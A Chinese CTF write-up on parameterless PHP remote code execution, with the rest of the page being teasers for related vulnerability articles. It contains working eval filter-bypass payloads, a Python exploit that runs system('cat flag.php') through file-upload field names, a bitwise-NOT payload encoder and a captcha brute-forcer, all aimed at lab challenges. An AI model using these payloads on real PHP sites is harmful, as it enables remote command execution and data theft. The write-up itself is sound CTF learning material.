PHP的无参数RCE

PHP无参数RCE

因为先前只是参照大佬的payload解题,从未自己本地复现过,索性借复习的机会,在本地搭建并尝试。

题目:

GXYCTF2019—禁止套娃

[极客大挑战 2020]Roamphp4-Rceme

限制条件:

/[^\W]+\((?R)?\)/
(?R)引用当前表达式,?递归调用
或
/[^\s\(\)]+?\((?R)?\)/

以上表达式匹配这种格式的。

也就是我们需要用函数实现无参数rce。

测试代码

<?php
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
}
//index.php

目录下文件

payload

payload_1 getenv()

var_dump(getenv(phpinfo()));

getenv() 获取一个环境变量的值,phpinfo() 获取全部的环境变量,其实不是很理解,直接phpinfo()就好了。

payload_2 getallheaders()

eval(end(getallheaders()));

end() 将数组的内部指针移到最后一个;

getallheaders() 获取所有的http请求头;

这里需要两个eval的原因,我认为是,如果只有一个eval就只是执行 end(getallheaders()); 获取了其返回值,但是并没有执行其返回值,再加一个eval ,也就是获取了返回值后,再eval()

如果用bp打,传最后一个似乎并不行,那么我们可以尝试修改ua头,然后用把end改成next;

payload_3 get_defined_vars()

eval(end(current(get_defined_vars())));&jiang=phpinfo();

get_defined_vars()返回由所有已定义变量所组成的数组,会返回$_GET,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序为get->post->cookie->files

current() 返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值。

如果需要$post就把current 改成next 就好。

而如果网站对$_GET,$_POST,$_COOKIE都做的过滤, 那我们只能从$_FILES入手了,exp如下:

import requests
def str2hex(payload):
  txt = ''
  for i in payload:
      txt += hex(ord(i))[-2:]
  return txt
payload = str2hex("system('cat flag.php');")
files = {
    payload: b'extrader'
}
r = requests.post("http://192.168.0.107/index.php?exp=eval(hex2bin(array_rand(end(get_defined_vars()))));", files=files, allow_redirects=False)  # allow_redirects=False 禁用重定向处理
print(r.content.decode())

array_rand():从数组中随机取出一个或多个单元,如果只取出一个,array_rand()返回随机单元的键名。 否则就返回包含随机键名的数组。

payload_4 session_start()

show_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())))
highlight_file(session_id(session_start()));
readfile(session_id(session_start())); 或者readgzfile();
修改cookie : PHPSESSID= filename

eval(hex2bin(session_id(session_start())));
抓包传入Cookie: PHPSESSID=("system('命令')"的十六进制)

payload_5-scandir()

读取文件

读文件有好多操作,

当前目录:highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
以上两个都是随机获取的其实,看脸。

可以配合 数组的指针,倒序,等各种方式找到我们的文件。

  • getcwd():取得当前工作目录,成功则返回当前工作目录,失败返回 FALSE
  • dirname():返回路径中的目录部分,返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点(’.‘),表示当前目录。否则返回的是把 path 中结尾的 /component(最后一个斜线以及后面部分)去掉之后的字符串(也就是上级目录的文件路径)。
  • chdir():改变目录,成功时返回 TRUE, 或者在失败时返回 FALSE
  • scandir():列出指定路径中的文件和目录。成功则返回包含有文件名的数组,如果失败则返回 FALSE。如果 directory 不是个目录,则返回布尔值 FALSE 并生成一条 E_WARNING 级的错误。
  • array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL
  • array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。

array_flip()array_rand()配合使用可随机返回当前目录下的文件名

dirname(chdir(dirname()))配合切换文件路径

.

current(localeconv())
  • localeconv():返回一包含本地数字及货币格式信息的数组。而数组第一项就是 .
phpversion()
  • phpversion()返回php版本,如7.3.5
  • floor(phpversion())返回7
  • sqrt(floor(phpversion()))返回2.6457513110646
  • tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
  • cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
  • sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
  • ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
  • chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
  • var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
  • next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..

floor():舍去法取整,sqrt():平方根,tan():正切值,cosh():双曲余弦,sinh():双曲正弦,ceil():进一法取整

crypt()
chr(ord(hebrevc(crypt(phpversion()))))`返回`.
  • hebrevc(crypt(arg))可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符

crypt():单向字符串散列,返回散列后的字符串或一个少于 13 字符的字符串,从而保证在失败时与盐值区分开来。

hebrevc():将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符,返回视觉顺序字符串。

数组操作

  • end() : 将内部指针指向数组中的最后一个元素,并输出
  • next() :将内部指针指向数组中的下一个元素,并输出
  • prev() :将内部指针指向数组中的上一个元素,并输出
  • reset() : 将内部指针指向数组中的第一个元素,并输出
  • each() : 返回当前元素的键名和键值,并将内部指针向前移动

目录操作:

  • getchwd() :函数返回当前工作目录。
  • scandir() :函数返回指定目录中的文件和目录的数组。
  • dirname() :函数返回路径中的目录部分。
  • chdir() :函数改变当前的目录。

题目

[极客大挑战 2020]Roamphp4-Rceme

swp 源码泄露

.index.php.swp 可以获取源码

swp 源码可以用vim 编辑器还原

vim -r index.php.swp
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
    $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

    if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
        die('<script>alert(\'Captcha error~\');history.back()</script>');
    }
    $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
    $code = $_POST['cmd'];
    if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Longlone not like you~\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
}
?>

我们传入的命令中不能有以下 ,

/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/,

想到是无字母数字,过滤了 异或 和或,留了取反。

同时我们的函数必须是无参的。

类似于这种,之前在buuoj上有遇到这种题目,无参数RCE。

def one(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{ss}][!%FF]("

while 1:
    a = input(":>").strip(")")
    aa = a.split("(")
    s = ""
    for each in aa[:-1]:
        s += one(each)
    s += ")" * (len(aa) - 1) + ";"
    print(s)

利用脚本生成一下 payload,

试了好多遍,getallheaders() 在最后加的话用bp打好像并不是最后一个,试了好多种别的办法无果,但是 next() 后是ua头,于是我丧心病狂,直接改ua

利用 payload: system(next(getallheaders()));

这道题不能用session是因为验证码是储存在session中的,附上一个爆破验证码的脚本。

import hashlib
a=input()
for i in range(1,200000000):

    x=hashlib.md5(str(i).encode(encoding='UTF-8')).hexdigest()

    if (x[0:5]==a):
        print(x)
        print(i)
        break

本文来源于: https://xz.aliyun.com/t/9360

相关推荐

【漏洞预警】VMware vRealize Operations Manager SSRF与文件写入漏洞

2021年3月31日,阿里云应急响应中心监测到 VMware 官方发布安全公告,披露了CVE-2021-21975 VMware vRealize Operations Manager API SSRF 和 CVE-2021-21983 V

Internet Explorer漏洞分析(四)——CVE-2016-0199

0x01 漏洞信息 0x01.1 漏洞简述 编号:CVE-2016-0199 类型:类型混淆(Type Confusion) 漏洞影响:远程代码执行(RCE)/拒绝服务攻击 (DoS) CVSS 2.0:9.3 mshtml.dll组件在将

Jackson-databind漏洞两则分析

文章前言 本篇文章将对CVE-2020-36189(Jackson-databind SSRF&RCE)漏洞和CVE-2020-36186(jackson-databind RCE)漏洞进行浅析,同时将在文末给出两则新的Gadget !!!

Apache OFBiz RMI反序列化远程代码执行漏洞(CVE-2021-26295)

Author: 析安实验室(ZionLab) 漏洞分析 官网获取最新版本 https://ofbiz.apache.org/download.html 发现新版本对 .\framework\base\src\main\java\org\ap

fofa爬虫 + 源码泄露PoC之梦幻联动(有福利)

写在前面 相信大家一定对源码泄露并不陌生,这里也不赘述这个漏洞的原理和危害了,网上一搜也都有好多好多,看都看不完~~~ 那今天这里我们讲啥呢?那就直入主题吧~今天这里我就贴出我自己参考的加上自己写的fofa爬虫 + 源码泄露PoC之梦幻联动

记某CMS漏洞getshell

记极致CMS漏洞getshell 今天下午比较空闲,就去搜索一些cms,突然对极致CMS感兴趣,而网上已经有一些文章对它进行分析利用,sql注入,xss,后台修改上传后缀名前台getshell等等。 于是就引起了我的兴趣想去测试一下。 信息

CVE-2016-0165 Win32k漏洞分析笔记

CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并

记一次无意的渗透测试

由于最近再写一个web漏洞扫描器,准备在fofa上找网站测试的时候,无意间看到了个标题,xx系统, 点进去一看,好家伙,这不就是我很收悉的,那个xxcms嘛(具体的忘记了) 正好通过这个网站的cms漏洞,测试下我的扫描器,结果,好家伙,

ThinkPHP5.x RCE 复现

ThinkPHP5.x RCE 复现 其实去年开始是复现过这个漏洞的,但是总觉得并没有吃透,分析写得漏洞百出,于是再来审计一遍。 漏洞影响范围 5.x < 5.1.31 5.x < 5.0.23 复现环境 php7.3 thinkphp5.

FastAdmin前台文件上传

漏洞通告 FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。 2021年3月28日,360漏洞云漏洞研究员发现,FastAdmin框架存在有条件RCE漏洞,当攻击者具有一定用户权限的前提下,可以实现任意文件

draytek漏洞分析

分析复现一下几个draytek的漏洞 1.CVE-2020-8515 漏洞描述如下: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta,